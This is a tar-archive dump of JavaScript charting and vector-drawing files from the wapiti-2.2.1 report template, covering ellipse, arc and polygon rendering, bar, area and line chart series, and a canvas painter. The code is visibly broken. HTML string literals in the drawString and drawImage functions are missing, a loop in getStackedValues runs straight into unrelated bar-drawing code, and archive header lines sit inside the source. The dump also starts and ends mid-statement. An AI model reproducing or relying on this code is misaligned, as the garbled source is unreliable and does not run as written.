tt += bb4*(++x); } else if(tt < 0) { st += bb2*((x<<1)+3) - aa4*(y-1); tt += bb4*(++x) - aa2*(((y--)<<1)-3); } else { tt -= aa2*((y<<1)-3); st -= aa4*(--y); } if(drw && y >= hodu) this.mkOvQds(cx, cy, x, y, 1, 1, wod, hod); drw = !drw; } } function mkRect(x, y, w, h) { var s = this.stroke; this.mkDiv(x, y, w, s); this.mkDiv(x+w, y, s, h); this.mkDiv(x, y+h, w+s, s); this.mkDiv(x, y+s, s, h-s); } function mkRectDott(x, y, w, h) { this.drawLine(x, y, x+w, y); this.drawLine(x+w, y, x+w, y+h); this.drawLine(x, y+h, x+w, y+h); this.drawLine(x, y, x, y+h); } function jsgFont() { this.PLAIN = 'font-weight:normal;'; this.BOLD = 'font-weight:bold;'; this.ITALIC = 'font-style:italic;'; this.ITALIC_BOLD = this.ITALIC + this.BOLD; this.BOLD_ITALIC = this.ITALIC_BOLD; } var Font = new jsgFont(); function jsgStroke() { this.DOTTED = -1; } var Stroke = new jsgStroke(); function jsGraphics(cnv, wnd) { this.setColor = new Function('arg', 'this.color = arg.toLowerCase();'); this.setStroke = function(x) { this.stroke = x; if(!(x+1)) { this.drawLine = mkLinDott; this.mkOv = mkOvDott; this.drawRect = mkRectDott; } else if(x-1 > 0) { this.drawLine = mkLin2D; this.mkOv = mkOv2D; this.drawRect = mkRect; } else { this.drawLine = mkLin; this.mkOv = mkOv; this.drawRect = mkRect; } }; this.setPrintable = function(arg) { this.printable = arg; if(jg_fast) { this.mkDiv = mkDivIe; this.htmRpc = arg? htmPrtRpc : htmRpc; } else this.mkDiv = arg? mkDivPrt : mkDiv; }; this.setFont = function(fam, sz, sty) { this.ftFam = fam; this.ftSz = sz; this.ftSty = sty || Font.PLAIN; }; this.drawPolyline = this.drawPolyLine = function(x, y) { for (var i=x.length - 1; i;) {--i; this.drawLine(x[i], y[i], x[i+1], y[i+1]); } }; this.fillRect = function(x, y, w, h) { this.mkDiv(x, y, w, h); }; this.drawPolygon = function(x, y) { this.drawPolyline(x, y); this.drawLine(x[x.length-1], y[x.length-1], x[0], y[0]); }; this.drawEllipse = this.drawOval = function(x, y, w, h) { this.mkOv(x, y, w, h); }; this.fillEllipse = this.fillOval = function(left, top, w, h) { var a = w>>1, b = h>>1, wod = w&1, hod = h&1, cx = left+a, cy = top+b, x = 0, y = b, oy = b, aa2 = (a*a)<<1, aa4 = aa2<<1, bb2 = (b*b)<<1, bb4 = bb2<<1, st = (aa2>>1)*(1-(b<<1)) + bb2, tt = (bb2>>1) - aa2*((b<<1)-1), xl, dw, dh; if(w) while(y > 0) { if(st < 0) { st += bb2*((x<<1)+3); tt += bb4*(++x); } else if(tt < 0) { st += bb2*((x<<1)+3) - aa4*(y-1); xl = cx-x; dw = (x<<1)+wod; tt += bb4*(++x) - aa2*(((y--)<<1)-3); dh = oy-y; this.mkDiv(xl, cy-oy, dw, dh); this.mkDiv(xl, cy+y+hod, dw, dh); oy = y; } else { tt -= aa2*((y<<1)-3); st -= aa4*(--y); } } this.mkDiv(cx-a, cy-oy, w, (oy<<1)+hod); }; this.fillArc = function(iL, iT, iW, iH, fAngA, fAngZ) { var a = iW>>1, b = iH>>1, iOdds = (iW&1) | ((iH&1) << 16), cx = iL+a, cy = iT+b, x = 0, y = b, ox = x, oy = y, aa2 = (a*a)<<1, aa4 = aa2<<1, bb2 = (b*b)<<1, bb4 = bb2<<1, st = (aa2>>1)*(1-(b<<1)) + bb2, tt = (bb2>>1) - aa2*((b<<1)-1), // Vars for radial boundary lines xEndA, yEndA, xEndZ, yEndZ, iSects = (1 << (Math.floor((fAngA %= 360.0)/180.0) << 3)) | (2 << (Math.floor((fAngZ %= 360.0)/180.0) << 3)) | ((fAngA >= fAngZ) << 16), aBndA = new Array(b+1), aBndZ = new Array(b+1); // Set up radial boundary lines fAngA *= Math.PI/180.0; fAngZ *= Math.PI/180.0; xEndA = cx+Math.round(a*Math.cos(fAngA)); yEndA = cy+Math.round(-b*Math.sin(fAngA)); aBndA.mkLinVirt(cx, cy, xEndA, yEndA); xEndZ = cx+Math.round(a*Math.cos(fAngZ)); yEndZ = cy+Math.round(-b*Math.sin(fAngZ)); aBndZ.mkLinVirt(cx, cy, xEndZ, yEndZ); while(y > 0) { if(st < 0) // Advance x { st += bb2*((x<<1)+3); tt += bb4*(++x); } else if(tt < 0) // Advance x and y { st += bb2*((x<<1)+3) - aa4*(y-1); ox = x; tt += bb4*(++x) - aa2*(((y--)<<1)-3); this.mkArcDiv(ox, y, oy, cx, cy, iOdds, aBndA, aBndZ, iSects); oy = y; } else // Advance y { tt -= aa2*((y<<1)-3); st -= aa4*(--y); if(y && (aBndA[y] != aBndA[y-1] || aBndZ[y] != aBndZ[y-1])) { this.mkArcDiv(x, y, oy, cx, cy, iOdds, aBndA, aBndZ, iSects); ox = x; oy = y; } } } this.mkArcDiv(x, 0, oy, cx, cy, iOdds, aBndA, aBndZ, iSects); if(iOdds >> 16) // Odd height { if(iSects >> 16) // Start-angle > end-angle { var xl = (yEndA <= cy || yEndZ > cy)? (cx - x) : cx; this.mkDiv(xl, cy, x + cx - xl + (iOdds & 0xffff), 1); } else if((iSects & 0x01) && yEndZ > cy) this.mkDiv(cx - x, cy, x, 1); } }; /* fillPolygon method, implemented by Matthieu Haller. This javascript function is an adaptation of the gdImageFilledPolygon for Walter Zorn lib. C source of GD 1.8.4 found at http://www.boutell.com/gd/ THANKS to Kirsten Schulz for the polygon fixes! The intersection finding technique of this code could be improved by remembering the previous intertersection, and by using the slope. That could help to adjust intersections to produce a nice interior_extrema. */ this.fillPolygon = function(array_x, array_y) { var i; var y; var miny, maxy; var x1, y1; var x2, y2; var ind1, ind2; var ints; var n = array_x.length; if(!n) return; miny = array_y[0]; maxy = array_y[0]; for(i = 1; i < n; i++) { if(array_y[i] < miny) miny = array_y[i]; if(array_y[i] > maxy) maxy = array_y[i]; } for(y = miny; y <= maxy; y++) { var polyInts = new Array(); ints = 0; for(i = 0; i < n; i++) { if(!i) { ind1 = n-1; ind2 = 0; } else { ind1 = i-1; ind2 = i; } y1 = array_y[ind1]; y2 = array_y[ind2]; if(y1 < y2) { x1 = array_x[ind1]; x2 = array_x[ind2]; } else if(y1 > y2) { y2 = array_y[ind1]; y1 = array_y[ind2]; x2 = array_x[ind1]; x1 = array_x[ind2]; } else continue; // Modified 11. 2. 2004 Walter Zorn if((y >= y1) && (y < y2)) polyInts[ints++] = Math.round((y-y1) * (x2-x1) / (y2-y1) + x1); else if((y == maxy) && (y > y1) && (y <= y2)) polyInts[ints++] = Math.round((y-y1) * (x2-x1) / (y2-y1) + x1); } polyInts.sort(CompInt); for(i = 0; i < ints; i+=2) this.mkDiv(polyInts[i], y, polyInts[i+1]-polyInts[i]+1, 1); } }; this.drawString = function(txt, x, y) { this.htm += '
    '+ txt + '<\/div>'; }; /* drawStringRect() added by Rick Blommers. Allows to specify the size of the text rectangle and to align the text both horizontally (e.g. right) and vertically within that rectangle */ this.drawStringRect = function(txt, x, y, width, halign) { this.htm += '
    '+ txt + '<\/div>'; }; this.drawImage = function(imgSrc, x, y, w, h, a) { this.htm += '
    '+ ''+ '<\/div>'; }; this.clear = function() { this.htm = ""; if(this.cnv) this.cnv.innerHTML = ""; }; this.mkOvQds = function(cx, cy, x, y, w, h, wod, hod) { var xl = cx - x, xr = cx + x + wod - w, yt = cy - y, yb = cy + y + hod - h; if(xr > xl+w) { this.mkDiv(xr, yt, w, h); this.mkDiv(xr, yb, w, h); } else w = xr - xl + w; this.mkDiv(xl, yt, w, h); this.mkDiv(xl, yb, w, h); }; this.mkArcDiv = function(x, y, oy, cx, cy, iOdds, aBndA, aBndZ, iSects) { var xrDef = cx + x + (iOdds & 0xffff), y2, h = oy - y, xl, xr, w; if(!h) h = 1; x = cx - x; if(iSects & 0xff0000) // Start-angle > end-angle { y2 = cy - y - h; if(iSects & 0x00ff) { if(iSects & 0x02) { xl = Math.max(x, aBndZ[y]); w = xrDef - xl; if(w > 0) this.mkDiv(xl, y2, w, h); } if(iSects & 0x01) { xr = Math.min(xrDef, aBndA[y]); w = xr - x; if(w > 0) this.mkDiv(x, y2, w, h); } } else this.mkDiv(x, y2, xrDef - x, h); y2 = cy + y + (iOdds >> 16); if(iSects & 0xff00) { if(iSects & 0x0100) { xl = Math.max(x, aBndA[y]); w = xrDef - xl; if(w > 0) this.mkDiv(xl, y2, w, h); } if(iSects & 0x0200) { xr = Math.min(xrDef, aBndZ[y]); w = xr - x; if(w > 0) this.mkDiv(x, y2, w, h); } } else this.mkDiv(x, y2, xrDef - x, h); } else { if(iSects & 0x00ff) { if(iSects & 0x02) xl = Math.max(x, aBndZ[y]); else xl = x; if(iSects & 0x01) xr = Math.min(xrDef, aBndA[y]); else xr = xrDef; y2 = cy - y - h; w = xr - xl; if(w > 0) this.mkDiv(xl, y2, w, h); } if(iSects & 0xff00) { if(iSects & 0x0100) xl = Math.max(x, aBndA[y]); else xl = x; if(iSects & 0x0200) xr = Math.min(xrDef, aBndZ[y]); else xr = xrDef; y2 = cy + y + (iOdds >> 16); w = xr - xl; if(w > 0) this.mkDiv(xl, y2, w, h); } } }; this.setStroke(1); this.setFont("verdana,geneva,helvetica,sans-serif", "12px", Font.PLAIN); this.color = "#000000"; this.htm = ""; this.wnd = wnd || window; if(!jg_ok) chkDHTM(); if(jg_ok) { if(cnv) { if(typeof(cnv) == "string") this.cont = document.all? (this.wnd.document.all[cnv] || null) : document.getElementById? (this.wnd.document.getElementById(cnv) || null) : null; else if(cnv == window.document) this.cont = document.getElementsByTagName("body")[0]; // If cnv is a direct reference to a canvas DOM node // (option suggested by Andreas Luleich) else this.cont = cnv; // Create new canvas inside container DIV. Thus the drawing and clearing // methods won't interfere with the container's inner html. // Solution suggested by Vladimir. this.cnv = document.createElement("div"); this.cont.appendChild(this.cnv); this.paint = jg_dom? pntCnvDom : pntCnvIe; } else this.paint = pntDoc; } else this.paint = pntN; this.setPrintable(false); } Array.prototype.mkLinVirt = function(x1, y1, x2, y2) { var dx = Math.abs(x2-x1), dy = Math.abs(y2-y1), x = x1, y = y1, xIncr = (x1 > x2)? -1 : 1, yIncr = (y1 > y2)? -1 : 1, p, i = 0; if(dx >= dy) { var pr = dy<<1, pru = pr - (dx<<1); p = pr-dx; while(dx > 0) {--dx; if(p > 0) // Increment y { this[i++] = x; y += yIncr; p += pru; } else p += pr; x += xIncr; } } else { var pr = dx<<1, pru = pr - (dy<<1); p = pr-dy; while(dy > 0) {--dy; y += yIncr; this[i++] = x; if(p > 0) // Increment x { x += xIncr; p += pru; } else p += pr; } } for(var len = this.length, i = len-i; i;) this[len-(i--)] = x; }; function CompInt(x, y) { return(x - y); } wapiti-2.2.1/src/report_template/includes/js/piechart.js0000644000000000000000000005610611064471200022066 0ustar rootroot/*----------------------------------------------------------------------------\ | Chart 1.0 | |-----------------------------------------------------------------------------| | Created by Emil A Eklund | | (http://eae.net/contact/emil) | |-----------------------------------------------------------------------------| | Client side chart painter, supports line, area and bar charts and stacking, | | uses Canvas (mozilla, safari, opera) or SVG (mozilla, opera) for drawing. | | Can be used with IECanvas to allow the canvas painter to be used in IE. | |-----------------------------------------------------------------------------| | Copyright (c) 2006 Emil A Eklund | |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -| | This program is free software; you can redistribute it and/or modify it | | under the terms of the MIT License. | |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -| | Permission is hereby granted, free of charge, to any person obtaining a | | copy of this software and associated documentation files (the "Software"), | | to deal in the Software without restriction, including without limitation | | the rights to use, copy, modify, merge, publish, distribute, sublicense, | | and/or sell copies of the Software, and to permit persons to whom the | | Software is furnished to do so, subject to the following conditions: | | The above copyright notice and this permission notice shall be included in | | all copies or substantial portions of the Software. | |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -| | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING | | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER | | DEALINGS IN THE SOFTWARE. | |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -| | http://eae.net/license/mit | |-----------------------------------------------------------------------------| | Dependencies: canvaschartpainter.js - Canvas chart painter implementation. | | canvaschart.css - Canvas chart painter styles. | | or: svgchartpainter.js - SVG chart painter implementation. | |-----------------------------------------------------------------------------| | 2006-01-03 | Work started. | | 2006-01-05 | Added legend and axis labels. Changed the painter api slightly | | | to allow two-stage initialization (required for ie/canvas) and | | | added legend/axis related methods. Also updated bar chart type | | | and added a few options, mostly related to bar charts. | | 2006-01-07 | Updated chart size calculations to take legend and axis labels | | | into consideration. Split painter implementations to separate | | | files. | | 2006-01-10 | Fixed bug in automatic range calculation. Also added explicit | | | cast to float for stacked series. | | 2006-04-16 | Updated constructor to set painter factory based on available | | | and supported implementations. | | 2007-02-01 | Brought chart related methods of PainterFactory classes into | | | the Chart class, and reduced PainterFactory to simpler drawing | | | primitives only. (by Ashutosh Bijoor -bijoor@gmail.com) | |-----------------------------------------------------------------------------| | Created 2006-01-03 | All changes are in the log above. | Updated 2007-02-01 | \----------------------------------------------------------------------------*/ /*----------------------------------------------------------------------------\ | Chart | |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -| | Chart class, control class that's used to represent a chart. Uses a painter | | class for the actual drawing. This is the only class that should be used | | directly, the other ones are internal. | \----------------------------------------------------------------------------*/ function Chart(el) { this._cont = el; this._yMin = null; this._yMax = null; this._xGridDensity = 0; this._yGridDensity = 0; this._flags = 0; this._series = new Array(); this._labelPrecision = 0; this._horizontalLabels = new Array(); this._barWidth = 10; this._barDistance = 2; this._bars = 0; this._showLegend = true; this._painter = null; /* * Determine painter implementation to use based on what's available and * supported. CanvasChartPainter is the prefered one, JsGraphicsChartPainter * the fallback one as it works in pretty much any browser. The * SVGChartPainter implementation one will only be used if set explicitly as * it's not up to pair with the other ones. */ if ((typeof CanvasChartPainterFactory != 'undefined') && (window.CanvasRenderingContext2D)) { this.setPainterFactory(CanvasChartPainterFactory); } else if (typeof JsGraphicsChartPainterFactory != 'undefined') { this.setPainterFactory(JsGraphicsChartPainterFactory); } else { this._painterFactory = null; } } Chart.prototype.setPainterFactory = function(f) { this._painterFactory = f; /* Create painter object */ this._painter = this._painterFactory(); this._painter.create(this._cont); }; Chart.prototype.getPainter = function() { return this._painter; }; Chart.prototype.setVerticalRange = function(min, max) { this._yMin = min; this._yMax = max; }; Chart.prototype.setLabelPrecision = function(precision) { this._labelPrecision = precision; }; Chart.prototype.setShowLegend = function(b) { this._showLegend = b; }; Chart.prototype.setGridDensity = function(horizontal, vertical) { this._xGridDensity = horizontal; this._yGridDensity = vertical; }; Chart.prototype.setHorizontalLabels = function(labels) { this._horizontalLabels = labels; }; Chart.prototype.add = function(series) { this._series.push(series); }; Chart.prototype.draw = function() { var i, o, o2, len, xlen, ymin, ymax, type, self, bLabels; if (!this._painter) { return; } /* Initialize */ this.xlen = 0; this.ymin = this._yMin; this.ymax = this._yMax; /* Determine maximum number of values, ymin and ymax */ for (i = 0; i < this._series.length; i++) { this._series[i].setRange(this); } /* * For bar only charts the number of charts is the same as the length of the * longest series, for others combinations it's one less. Compensate for that * for bar only charts. */ //if (this._series.length == this._bars) { this.xlen++; this._xGridDensity++; //} /* * Determine whatever or not to show the legend and axis labels * Requires density and labels to be set. */ //bLabels = ((this._xGridDensity) && (this._yGridDensity) && (this._horizontalLabels.length >= this._xGridDensity)); bLabels = (this._xGridDensity) && (this._yGridDensity); /* Initialize painter object */ this.init(this.xlen, this.ymin, this.ymax, this._xGridDensity, this._yGridDensity, bLabels); /* Draw chart background */ this.drawBackground(); /* * If labels and grid density where specified, draw legend and labels. * It's drawn prior to the chart as the size of the legend and labels * affects the size of the chart area. */ if (this._showLegend) { this.drawLegend(); } if (bLabels) { this.drawVerticalAxis(this._yGridDensity, this._labelPrecision); this.drawHorizontalAxis(this.xlen, this._horizontalLabels, this._xGridDensity, this._labelPrecision); } /* Draw grid */ this.drawGrid(); /* Draw series */ for (i = 0; i < this._series.length; i++) { this._series[i].draw(this); } /* * Draw axis (after the series since the anti aliasing of the lines may * otherwise be drawn on top of the axis) */ this.drawAxis(); }; Chart.prototype.init = function(xlen, ymin, ymax, xgd, ygd, bLegendLabels) { this.w=this._painter.getWidth(); this.h=this._painter.getHeight(); this.chartx = 0; this.chartw = this.w; this.charth = this.h; this.charty = 0; this.xlen = xlen; this.ymin = ymin; this.ymax = ymax; this.xgd = xgd; this.ygd = ygd; this.calc(this.chartw, this.charth, xlen, ymin, ymax, xgd, ygd); }; Chart.prototype.calc = function(w, h, xlen, ymin, ymax, xgd, ygd) { this.range = ymax - ymin; this.xstep = w / (xlen - 1); this.xgrid = (xgd)?w / (xgd - 1):0; this.ygrid = (ygd)?h / (ygd - 1):0; this.ymin = ymin; this.ymax = ymax; }; Chart.prototype.findSeries = function(label) { for (var i = 0; i < this._series.length; i++) { if (this._series[i].getLabel()==label) { return this._series[i]; } } return null; }; Chart.prototype.drawLegend = function() { var legend, list, item, label; var series=this._series; legend = document.createElement('div'); legend.className = 'legend'; legend.style.position = 'absolute'; list = document.createElement('ul'); for (i = 0; i < series.length; i++) { item = document.createElement('li'); item.style.color = series[i].getColor(); label = document.createElement('span'); label.appendChild(document.createTextNode(series[i].getLabel())); label.style.color = 'black'; item.appendChild(label); list.appendChild(item); } legend.appendChild(list); this._cont.appendChild(legend); legend.style.right = '0px'; legend.style.top = this.charty + (this.charth / 2) - (legend.offsetHeight / 2) + 'px'; this.legend = legend; /* Recalculate chart width and position based on labels and legend */ this.chartw = this.w - (this.legend.offsetWidth + 5); this.calc(this.chartw, this.charth, this.xlen, this.ymin, this.ymax, this.xgd, this.ygd); }; Chart.prototype.drawVerticalAxis = function(ygd, precision) { var axis, item, step, y, ty, n, yoffset, value, multiplier, w, items, pos; /* Calculate step size and rounding precision */ multiplier = Math.pow(10, precision); step = this.range / (ygd - 1); /* Create container */ axis = document.createElement('div'); axis.style.position = 'absolute'; axis.style.left = '0px'; axis.style.top = '0px'; axis.style.textAlign = 'right'; this._cont.appendChild(axis); /* Draw labels and points */ w = 0; items = new Array(); for (n = 0, i = this.ymax; (i > this.ymin) && (n < ygd - 1); i -= step, n++) { item = document.createElement('span'); value = parseInt(i * multiplier) / multiplier; item.appendChild(document.createTextNode(value)); axis.appendChild(item); items.push([i, item]); if (item.offsetWidth > w) { w = item.offsetWidth; } } /* Draw last label and point (lower left corner of chart) */ item = document.createElement('span'); item.appendChild(document.createTextNode(this.ymin)); axis.appendChild(item); items.push([this.ymin, item]); if (item.offsetWidth > w) { w = item.offsetWidth; } /* Set width of container to width of widest label */ axis.style.width = w + 'px'; /* Recalculate chart width and position based on labels and legend */ this.chartx = w + 5; this.charty = item.offsetHeight / 2; this.charth = this.h - ((item.offsetHeight * 1.5) + 5); this.chartw = this.w - (((this.legend)?this.legend.offsetWidth:0) + w + 10); this.calc(this.chartw, this.charth, this.xlen, this.ymin, this.ymax, this.xgd, this.ygd); /* Position labels on the axis */ n = this.range / this.charth; yoffset = (this.ymin / n); for (i = 0; i < items.length; i++) { item = items[i][1]; pos = items[i][0]; if (pos == this.ymin) { y = this.charty + this.charth - 1; } else { y = this.charty + (this.charth - (pos / n) + yoffset); } this._painter.fillRect('black',this.chartx - 5, y, 5, 1); ty = y - (item.offsetHeight/2); item.style.position = 'absolute'; item.style.right = '0px'; item.style.top = ty + 'px'; } }; Chart.prototype.drawHorizontalAxis = function(xlen, labels, xgd, precision) { var axis, item, step, x, tx, n, multiplier; /* Calculate offset, step size and rounding precision */ multiplier = Math.pow(10, precision); n = this.chartw / (xgd - 1); /* Create container */ axis = document.createElement('div'); axis.style.position = 'absolute'; axis.style.left = '0px'; axis.style.top = (this.charty + this.charth + 5) + 'px'; axis.style.width = this.w + 'px'; this._cont.appendChild(axis); /* Draw labels and points */ for (i = 0; i < xgd; i++) { item = document.createElement('span'); if (labels[i]) { item.appendChild(document.createTextNode(labels[i])); } axis.appendChild(item); x = this.chartx + (n * i); tx = x - (item.offsetWidth/2); item.style.position = 'absolute'; item.style.left = tx + 'px'; item.style.top = '0px'; this._painter.fillRect('black',x, this.charty + this.charth, 1, 5); } }; Chart.prototype.drawAxis = function() { var x1, x2, y1, y2; x1 = this.chartx; x2 = this.chartx + this.chartw + 1; y1 = this.charty; y2 = this.charty + this.charth - 1; this._painter.line('black',1,x1, y1, x1, y2); this._painter.line('black',1,x1, y2, x2, y2); }; Chart.prototype.drawBackground = function() { this._painter.fillRect('white',0, 0, this.w, this.h); }; Chart.prototype.drawGrid = function() { if (this.xgrid) { for (i = this.xgrid; i < this.chartw; i += this.xgrid) { this._painter.line('silver',1,this.chartx + i, this.charty, this.chartx + i, this.charty + this.charth - 1); } } if (this.ygrid) { for (i = this.charth - this.ygrid; i > 0; i -= this.ygrid) { this._painter.line('silver',1,this.chartx + 1, this.charty + i, this.chartx + this.chartw + 1, this.charty + i); } } }; /*----------------------------------------------------------------------------\ | AbstractChartSeries | |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -| | Abstract class for common methods across all types of Charts | \----------------------------------------------------------------------------*/ function AbstractChartSeries() { } AbstractChartSeries.prototype.getColor = function() { return this.data['color']; }; AbstractChartSeries.prototype.getLabel = function() { return this.data['label']; }; AbstractChartSeries.prototype.setRange = function(chart) { if (this.data['values'].length > chart.xlen) { chart.xlen = this.data['values'].length; } for (var j = 0; j < this.data['values'].length; j++) { if ((this.data['values'][j] < chart.ymin) || (chart.ymin == null)) { chart.ymin = this.data['values'][j]; } if (this.data['values'][j] > chart.ymax) { chart.ymax = this.data['values'][j]; } } }; AbstractChartSeries.prototype.getStackedValues = function(chart) { var stacked=new Array(); if (this.data['stackedOn']) { var stackedSeries=chart.findSeries(this.data['stackedOn']); if (stackedSeries) { stacked=stackedSeries.getStackedValues(chart); } } for(var i=0;i chart.xlen) { len = chart.xlen; } if (len) { /* Determine position of each bar and draw it */ x = chart.chartx + this.offset + 1; for (i = 0; i < len; i++) { y = (values[i] / n); barHt = (this.data['values'][i] / n); painter.fillRect(this.data['color'],x,yBottom-y,this.data['width'],barHt); x += chart.xstep; } } }; /*----------------------------------------------------------------------------\ | AreaChartSeries | |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -| | Area Chart Series | \----------------------------------------------------------------------------*/ function AreaChartSeries(data) { // data hash contains keys var defaultData = { label:"AreaChart",// label - name of series color:"#000", // color - HTML color for series values:[], // values - array of values }; for (var p in data) {defaultData[p]=data[p];} this.data=defaultData; this.base=AbstractChartSeries; } AreaChartSeries.prototype=new AbstractChartSeries; AreaChartSeries.prototype.draw = function(chart) { // draws a bar chart var i, len, x, y, barHt, yBottom, n, yoffset,painter,values; var points=[]; painter=chart.getPainter(); values=this.getStackedValues(chart); if (values.length<=0) return; /* Determine distance between points and offset */ n = chart.range / chart.charth; yoffset = (chart.ymin / n); yBottom = chart.charty + chart.charth + yoffset; /* Begin line in lower left corner */ points.push({x:chart.chartx + 1,y:chart.charty + chart.charth - 1}); len = values.length; if (len > chart.xlen) { len = chart.xlen; } if (len) { /* Determine position of each bar and draw it */ for (i = 0; i < len; i++) { y = (values[i] / n); barHt = (this.data['values'][i] / n); points.push({x:chart.chartx + 1 + chart.xstep*i,y:yBottom-y}); } /* Add end point at lower right corner */ points.push({x:chart.chartx + 1 + chart.xstep*(len-1),y:chart.charty + chart.charth - 1}); for (i = len-1; i >=0; i--) { y = (values[i] / n); barHt = (this.data['values'][i] / n); points.push({x:chart.chartx + 1 + chart.xstep*i,y:yBottom-y+barHt}); } painter.fillArea(this.data['color'],points); } }; /*----------------------------------------------------------------------------\ | LineChartSeries | |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -| | Line Chart Series | \----------------------------------------------------------------------------*/ function LineChartSeries(data) { // data hash contains keys var defaultData = { label:"LineChart",// label - name of series color:"#000", // color - HTML color for series values:[], // values - array of values }; for (var p in data) {defaultData[p]=data[p];} this.data=defaultData; this.base=AbstractChartSeries; } LineChartSeries.prototype=new AbstractChartSeries; LineChartSeries.prototype.draw = function(chart) { var i, len, x, y, n, yoffset; painter=chart.getPainter(); values=this.getStackedValues(chart); if (values.length<=0) return; var points=[]; /* Determine distance between points and offset */ n = chart.range / chart.charth; yoffset = (chart.ymin / n); /* Add points */ for (i=0;i */ nodes = document.getElementsByTagName('canvas'); for (i = 0; i < nodes.length; i++) { node = nodes[i]; if (node.getContext) { return; } // Other implementation, abort newNode = document.createElement('canvas'); newNode.id = node.id; newNode.style.width = node.width; newNode.style.height = node.height; node.parentNode.replaceChild(newNode, node); } /* Add VML includes and namespace */ document.namespaces.add("v"); oVml = document.createElement('object'); oVml.id = 'VMLRender'; oVml.codebase = 'vgx.dll'; oVml.classid = 'CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E'; document.body.appendChild(oVml); /* Add required css rules */ if ((!htcFile) || (htcFile == '')) { htcFile = 'iecanvas.htc'; } oStyle = document.createStyleSheet(); oStyle.addRule('canvas', "behavior: url('" + htcFile + "');"); oStyle.addRule('v\\:*', "behavior: url(#VMLRender);"); } wapiti-2.2.1/src/report_template/includes/js/canvaschartpainter.src.js0000644000000000000000000001614211064471200024731 0ustar rootroot/*----------------------------------------------------------------------------\ | Chart 1.0 | | Canvas Chart Painter | |-----------------------------------------------------------------------------| | Created by Emil A Eklund | | (http://eae.net/contact/emil) | |-----------------------------------------------------------------------------| | Canvas implementation of the chart painter API. A canvas element is used to | | draw the chart, html elements are used for the legend and axis labels as, | | at the time being, there is no text support in canvas. | |-----------------------------------------------------------------------------| | Copyright (c) 2006 Emil A Eklund | |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -| | This program is free software; you can redistribute it and/or modify it | | under the terms of the MIT License. | |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -| | Permission is hereby granted, free of charge, to any person obtaining a | | copy of this software and associated documentation files (the "Software"), | | to deal in the Software without restriction, including without limitation | | the rights to use, copy, modify, merge, publish, distribute, sublicense, | | and/or sell copies of the Software, and to permit persons to whom the | | Software is furnished to do so, subject to the following conditions: | | The above copyright notice and this permission notice shall be included in | | all copies or substantial portions of the Software. | |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -| | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING | | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER | | DEALINGS IN THE SOFTWARE. | |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -| | http://eae.net/license/mit | |-----------------------------------------------------------------------------| | 2006-01-03 | Work started. | | 2006-01-05 | Added legend and axis labels. Changed the painter api slightly | | | to allow two-stage initialization (required for ie/canvas) and | | | added legend/axis related methods. Also updated bar chart type | | | and added a few options, mostly related to bar charts. | | 2006-01-07 | Updated chart size calculations to take legend and axis labels | | | into consideration. Split painter implementations to separate | | | files. | | 2006-04-16 | Updated to use the ExplorerCanvas ie emulation layer instead | | | of the, now deprecated, IECanvas one. | | 2007-02-01 | Moved all Chart specific methods into the Chart class and | | | added simpler device specific drawing primitives. | | | (by Ashutosh Bijoor - bijoor@gmail.com) . | |-----------------------------------------------------------------------------| | Created 2006-01-03 | All changes are in the log above. | Updated 2007-02-01 | \----------------------------------------------------------------------------*/ function CanvasChartPainterFactory() { return new CanvasChartPainter(); } function CanvasChartPainter() { this.base = AbstractChartPainter; }; CanvasChartPainter.prototype = new AbstractChartPainter; CanvasChartPainter.prototype.create = function(el) { while (el.firstChild) { el.removeChild(el.lastChild); } this.el = el; this.w = el.clientWidth; this.h = el.clientHeight; this.canvas = document.createElement('canvas'); this.canvas.width = this.w; this.canvas.height = this.h; this.canvas.style.width = this.w + 'px'; this.canvas.style.height = this.h + 'px'; el.appendChild(this.canvas); /* Init explorercanvas emulation for IE */ if ((!this.canvas.getContext) && (typeof G_vmlCanvasManager != "undefined")) { this.canvas = G_vmlCanvasManager.initElement(this.canvas); } this.ctx = this.canvas.getContext('2d'); }; CanvasChartPainter.prototype.getWidth = function() { return this.w; }; CanvasChartPainter.prototype.getHeight = function() { return this.h; }; CanvasChartPainter.prototype.fillArea = function(color, points) { if (points.length<=0) return; this.ctx.fillStyle = color; /* Begin path */ this.ctx.beginPath(); this.ctx.moveTo(points[0].x,points[0].y); /* Draw lines to succeeding points */ for (i = 1; i < points.length; i++) { this.ctx.lineTo(points[i].x, points[i].y); } /* Close path and fill it */ this.ctx.lineTo(points[0].x, points[0].y); this.ctx.closePath(); this.ctx.fill(); }; CanvasChartPainter.prototype.polyLine = function(color,lineWidth,points) { if (points.length<=0) return; this.ctx.lineWidth = 